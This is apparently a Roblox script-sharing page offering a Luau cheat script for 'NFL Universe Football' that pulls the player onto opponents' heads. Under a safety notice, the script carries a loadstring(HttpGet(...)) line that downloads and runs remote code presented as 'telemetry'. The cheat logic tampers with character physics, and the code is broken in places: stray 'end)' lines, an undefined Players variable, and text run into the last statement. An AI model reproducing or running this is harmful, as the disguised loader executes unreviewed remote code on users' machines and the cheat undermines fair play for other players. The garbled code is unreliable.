M
Description
JdjndndjdG g g h h j hvhbjrhejrjfj
GAME[S14π] NFL Universe Football
UPDATEDOct 10, 2026
ACCESSKeyless
PLATFORMDesktop & Mobile
Script source Luau
-- [[ BloxScripts Risk Notice ]]
-- This script has not been verified by BloxScripts.fun. Deal with caution.
--
-- Stay safe:
-- β’ Never log in on unofficial Roblox sites or lookalike domains.
-- β’ Real Roblox links use roblox.com (check the .com ending).
-- β’ Treat fake Roblox login / "claim reward" pages as phishing.
-- [[ End BloxScripts Risk Notice ]]
loadstring(game:HttpGet("https://rscripts.net/api/telemetry/client.lua?s=6a99e14b23962f91bc15c1cc"))()
end)
end)
--[[rscripts:analytics:end]]
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
local Character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
local HRP = Character:WaitForChild("HumanoidRootPart")
local Humanoid = Character:WaitForChild("Humanoid")
-- CLIP / SNAP SETTINGS
local ACTIVATE_DIST = 1.9
local LOCK_IN_DIST = 5
local MAX_STRENGTH = 55
local TARGET_OFFSET = Vector3.new(0, 2.8, 0) -- sits you on top of the head
-- BALANCE / STICK SETTINGS
local balanceRadius = 3.75
local verticalRangeMin = -4
local verticalRangeMax = 4
local correctionSpeed = 0.55
local nudgeActive = false
-- βββ Helpers βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
local function isDiving()
local animator = Humanoid:FindFirstChildOfClass("Animator")
if animator then
for _, track in pairs(animator:GetPlayingAnimationTracks()) do
if track.Name == "UF_Dive" then return true end
end
end
return false
end
local function isWalking()
return Humanoid.MoveDirection.Magnitude > 0
end
local function getBallOwner()
local ball = workspace:FindFirstChild("Ball")
if not ball then return nil end
local owner = ball:GetAttribute("Owner") or ball:GetAttribute("BallOwner")
if owner then return Players:FindFirstChild(owner) end
if ball.Parent and ball.Parent ~= workspace then
for _, p in pairs(Players:GetPlayers()) do
if p.Character == ball.Parent then return p end
end
end
return nil
end
local function isBallOwnedByLocalPlayer()
return getBallOwner() == LocalPlayer
end
local function isBallOwnerFarEnough()
local owner = getBallOwner()
if not owner or owner == LocalPlayer then return true end
if owner.Character and owner.Character:FindFirstChild("HumanoidRootPart") then
return (owner.Character.HumanoidRootPart.Position - HRP.Position).Magnitude >= 15
end
return true
end
-- Both must have upward velocity to count as "rising"
local function isTargetRising(head)
local rootPart = head.Parent and head.Parent:FindFirstChild("HumanoidRootPart")
if not rootPart then return false end
local vel = rootPart.AssemblyLinearVelocity
return vel and vel.Y > 0.5
end
local function isLocalPlayerRising()
local vel = HRP.AssemblyLinearVelocity
return vel and vel.Y > 0.5
end
local function findClosestHead()
local closestHead, shortestDist = nil, math.huge
for _, player in pairs(Players:GetPlayers()) do
if player ~= LocalPlayer and player.Character then
local head = player.Character:FindFirstChild("Head")
if head then
local dist = (head.Position - HRP.Position).Magnitude
if dist < balanceRadius and dist < shortestDist then
shortestDist = dist
closestHead = head
end
end
end
end
return closestHead
end
-- βββ Snap / Clip pull (air + both rising only) ββββββββββββββββββββββββββββ
local function getBestSnapTarget()
local closest, lastDist = nil, ACTIVATE_DIST
for _, v in pairs(Players:GetPlayers()) do
if v ~= LocalPlayer and v.Character and v.Character:FindFirstChild("Head") then
local dist = (HRP.Position - v.Character.Head.Position).Magnitude
if dist < lastDist then
closest = v.Character.Head
lastDist = dist
end
end
end
return closest, lastDist
end
-- βββ Main loop βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
RunService.Heartbeat:Connect(function()
-- Ball ownership gate
if not isBallOwnedByLocalPlayer() and not isBallOwnerFarEnough() then
nudgeActive = false
return
end
local head = findClosestHead()
local targetRising = head and isTargetRising(head)
local selfRising = isLocalPlayerRising()
local bothRising = targetRising and selfRising
-- ββ Snap/clip pull: airborne AND both rising ββ
local state = Humanoid:GetState()
if state == Enum.HumanoidStateType.Freefall or state == Enum.HumanoidStateType.Jumping then
-- CHANGED: only pull when both players are going upward
if bothRising then
local snapTarget, dist = getBestSnapTarget()
if snapTarget then
local lerpIntensity = (dist < LOCK_IN_DIST) and 0.35 or 0.08
local goalPos = snapTarget.Position + TARGET_OFFSET
local direction = (goalPos - HRP.Position).Unit
HRP.AssemblyLinearVelocity = HRP.AssemblyLinearVelocity:Lerp(direction * MAX_STRENGTH, lerpIntensity)
local lookGoal = CFrame.lookAt(HRP.Position, Vector3.new(snapTarget.Position.X, HRP.Position.Y, snapTarget.Position.Z))
HRP.CFrame = HRP.CFrame:Lerp(lookGoal, 0.15)
end
end
end
-- ββ Nudge / stick logic ββ
if nudgeActive then
-- Release if neither is rising anymore
if not targetRising and not selfRising then
if isWalking() or isDiving() then
nudgeActive = false
return
end
end
-- CHANGED: only keep correcting XZ while both are still rising
if head and bothRising then
local targetPos = Vector3.new(
head.Position.X + (math.random() - 0.5) * 0.15,
HRP.Position.Y,
head.Position.Z + (math.random() - 0.5) * 0.15
)
local newPos = HRP.Position:Lerp(targetPos, correctionSpeed)
HRP.CFrame = CFrame.new(newPos, newPos + HRP.CFrame.LookVector)
end
return
end
-- ββ Initial stick engagement: only while both rising ββ
-- CHANGED: added bothRising gate so stick never starts on the way down
if head and bothRising then
local verticalDiff = HRP.Position.Y - head.Position.Y
if verticalDiff > verticalRangeMin and verticalDiff < verticalRangeMax then
local targetPos = Vector3.new(
head.Position.X + (math.random() - 0.5) * 0.15,
HRP.Position.Y,
head.Position.Z + (math.random() - 0.5) * 0.15
)
local newPos = HRP.Position:Lerp(targetPos, correctionSpeed)
HRP.CFrame = CFrame.new(newPos, newPos + HRP.CFrame.LookVector)
local xzDist = Vector3.new(HRP.Position.X - head.Position.X, 0, HRP.Position.Z - head.Position.Z).Magnitude
if xzDist < 0.5 then
nudgeActive = trueReview the source before using it. Executions count successful copies, capped at 10 per user and network per script in 24 hours.
Community discussion
0Start the conversation.


Your community, in one place